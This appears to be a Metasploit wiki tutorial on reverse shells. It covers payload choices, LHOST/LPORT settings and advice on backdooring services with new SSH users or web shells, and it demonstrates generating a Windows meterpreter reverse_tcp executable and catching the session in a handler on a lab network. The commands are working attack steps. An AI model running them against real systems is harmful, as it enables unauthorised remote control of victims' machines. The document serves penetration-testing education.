How to use a reverse shell in Metasploit

There are two popular types of shells: bind and reverse. A bind shell is the kind that opens up a new service on the target machine, and requires the attacker to connect to it in order to get a session. A reverse shell (also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally the attacker receives the shell.

The basic usage of payloads is already quite well documented in the Users Guide in Metasploit's documentation folder. However, learning how to use a reverse shell still remains the most common question in the Metasploit community. Plus, 9 times out of 10 you'd probably be using a reverse shell to get a session, so in this wiki documentation we will explain more about this.

List of Metasploit reverse shells

As of now, there are 168 different reverse shells in the Metasploit Framework. We will not list all of them here, because that's just straight up spamming. But if you'd like, you can run the following command to get msfpayload to tell you:

./msfpayload -l |grep reverse

As a rule of thumb, always pick a meterpreter, because it currently provides better support of post exploitation Metasploit has to offer. For example, railgun, post modules, unique meterpreter commands (like webcam controls), etc.

In Windows, the most commonly used reverse shell is windows/meterpreter/reverse. But you can also try windows/meterpreter/reverse_http or windows/meterpreter/reverse_https, because their network traffic appear a little bit less abnormal.

In Linux, you can also try linux/x86/meterpreter/reverse_tcp, or the 64-bit one. However, just know that linux/x86/shell_reverse_tcp has been the most stable.

When to use a reverse shell

If you find yourself in one of the following scenarios (but not limited to), then you should consider using a reverse shell:

• The target machine is behind a different private network.
• The target machine's firewall blocks incoming connection attempts to your bindshell.
• Your payload is unable to bind to the port it wants due to whatever reason.
• You simply can't decide what to choose.

When a reverse shell isn't needed

Generally speaking, if you can backdoor an existing service, you may not need a reverse shell. For example: if the target machine is already running a SSH server, then you can try adding a new user to it and use that.

If the target machine is running a web server that supports a server-side programming language, then you can leave a backdoor in that language. For example, many Apache servers support PHP, then you can use a PHP "web shell". IIS servers usually support ASP, or ASP.net. The Metasploit Framework offers payloads in all these languages (and many others).

Same thing for VNC, remote desktop, SMB (psexec), or other remote admin tools, etc.

How to set up for a reverse shell during payload generation

When you generate a reverse shell with either msfpayload or msfvenom, you must know how to configure the following:

• LHOST - This is the IP address you want your target machine to connect to, literally. If you're in a local area network, it is unlikely your target machine can actually reach you unless you both are in the same network. In that case, you will have to find out your public-facing IP address, and then configure your network to port-forward that connection to your box. LHOST should not be "localhost", or "0.0.0.0", or "127.0.0.1", because if you do, you're telling the target machine to connect to itself (or it may not work at all).
• LPORT - This the port you want your target machine to connect to.

When you set up a listener for the reverse shell, you also at least need to configure LHOST and LPORT, but slightly different meanings (different perspective):

• LHOST - This is the IP address you want your listener to bind to.
• LPORT - This is the port you want your listener to bind to.

You should make sure the listener has started first before executing the reverse shell.

Demonstration

In this demonstration, we have two boxes:

Box A:

• The attacker's box that receives the payload session
• IP is: 192.168.1.123 (ifconfig)
• On the same network as the victim machine

Box B:

• The "victim" machine
• Windows XP
• IP is: 192.168.1.80 (ipconfig)
• On the same network as the attacker machine
• For testing purposes, no antivirus enabled.
• For testing purposes, no firewall enabled, either.

Step 1: I generate my executable payload:

On the attacker's box, I run msfpayload like the following (or msfvenom, whatever you prefer):

$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe  
Created by msfpayload (http://www.metasploit.com).  
Payload: windows/meterpreter/reverse_tcp  
Length: 287  
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}  

Step 2: I copy my executable payload to Box B (my victim machine)

This step requires no further explanation.

Step 3: I set up my payload handler on box A (the attacker's box):

$ ./msfconsole -q  
msf > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123 
msf exploit(handler) > set lport 4444  
lport => 4444  
msf exploit(handler) > run  
  
[*] Started reverse handler on 192.168.1.123:4444  
[*] Starting the payload handler...  

Step 4: I double-click on the malicious executable

This step requires no further explanation.

Step 5: I should see a meterpreter/payload session on box A (the attacker's box)

Like this:

$ ./msfconsole -q  
msf > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444  
lport => 4444  
msf exploit(handler) > run  
  
[*] Started reverse handler on 192.168.1.123:4444  
[*] Starting the payload handler...  
[*] Sending stage (770048 bytes) to 192.168.1.80  
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500  
meterpreter >  

The meterpreter prompt means you are currently interacting with the payload.